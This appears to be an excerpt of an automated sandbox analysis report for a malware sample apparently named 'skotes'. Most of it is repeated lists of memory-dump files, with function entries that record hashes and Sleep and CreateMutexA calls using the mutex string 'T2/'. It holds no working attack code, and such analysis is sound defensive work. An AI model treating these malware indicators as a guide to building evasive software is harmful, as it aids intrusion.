Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: 72a465ee7d535932e80c87bbb9b59d4cda1974fa0a6297d893b39887f77bb848
Instruction ID: 9a8d3716ee52d5b783788ab1750bb9ad50b39c638ea9090d0105d6285e262c77
Opcode Fuzzy Hash: 72a465ee7d535932e80c87bbb9b59d4cda1974fa0a6297d893b39887f77bb848
Instruction Fuzzy Hash: D3314A316202009BEF08DB78DC8DB6DB766EF82314F244219E4159B6D5CF7599A08A92

Function 0029A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: 6d6a02ab6eb0be85037d6dce500f2b3935bb65f14f56d81c557e4cc76ff01965
Instruction ID: 3e14c60f65594600531d20385ba6b094e5a3b02ae6d03e41eb64f4519b55c138
Opcode Fuzzy Hash: 6d6a02ab6eb0be85037d6dce500f2b3935bb65f14f56d81c557e4cc76ff01965
Instruction Fuzzy Hash: C8314A31B202008BFF08DB78DC89B6CB766EFC5324F248219E415DB6E1CB3599A18792

Function 0029A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: 4e740f73dda68a76b3b4b42b3b3e798621a2e3aca0923396e9cfdaacf5b9e34b
Instruction ID: 5e29e0629e18faddc617909d9bc5bae72630a52b5e907bc4719d7e70e27ca834
Opcode Fuzzy Hash: 4e740f73dda68a76b3b4b42b3b3e798621a2e3aca0923396e9cfdaacf5b9e34b
Instruction Fuzzy Hash: 633148316203009BEF08DB78DC89BADF776EFC2324F248219E415D76E5CB7599A08792

Function 00299ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625610219.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625640934.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625674753.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625707629.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625738762.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625770959.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625802324.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625830397.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625863746.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625897949.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625930297.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625961534.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625992663.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626025622.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626059192.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626092365.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626125272.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626194111.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626229459.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626263851.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626296713.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626325001.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626357403.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626392576.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626429398.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2626459670.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2/
API String ID: 1464230837-3528799830
Opcode ID: 69e303b8116c419d290e98163fd2eb44d80eb727a5f1ab12214cd3f2bc4261df
Instruction ID: 102073494a268afd828401477c7dff8845a880e34dc35ebb7bb1d355e281fc8f
Opcode Fuzzy Hash: 69e303b8116c419d290e98163fd2eb44d80eb727a5f1ab12214cd3f2bc4261df
Instruction Fuzzy Hash: 42214C316242019BFF18DF6CEC99B2CF765EBC2324F24422DE409C76E1DF7559A18651

Function 0029A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000006.00000002.2624408970.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000006.00000002.2624371356.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624408970.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624496140.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624551762.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624584462.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624826899.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624860630.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624898672.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624931285.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2624960554.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625020952.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625050119.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625078705.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625107030.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625141274.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625171744.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625207312.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625238337.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625268922.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625299712.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625331029.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625361301.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625399667.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625429150.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625460997.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625491966.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625521988.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625551349.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2625581371.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
